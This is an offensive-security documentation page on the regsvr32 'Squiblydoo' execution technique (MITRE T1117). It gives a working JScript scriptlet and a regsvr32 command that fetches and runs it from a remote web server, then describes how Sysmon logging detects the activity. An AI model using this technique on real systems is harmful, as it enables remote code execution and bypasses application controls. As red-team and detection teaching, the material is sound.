> For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo.md).

# regsvr32

## Execution

{% code title="<http://10.0.0.5/back.sct>" %}

```markup
<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>
```

{% endcode %}

We need to host the back.sct on a web server so we can invoke it like so:

{% code title="attacker\@victim" %}

```csharp
regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll
```

{% endcode %}

## Observations

![calc.exe spawned by regsvr32.exe](/files/-LHFaljjT6HYczWn8BJF)

Note how regsvr32 process exits almost immediately. This means that just by looking at the list of processes on the victim machine, the evil process may not be immedialy evident... Not until you realise how it was invoked though. Sysmon commandline logging may help you detect this activity:

![](/files/-LHFdaYNLHBaElS6JjYh)

Additionally, of course sysmon will show regsvr32 establishing a network connection:

![](/files/-LHFeXmJeuBAGXEONuJD)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1117>" %}
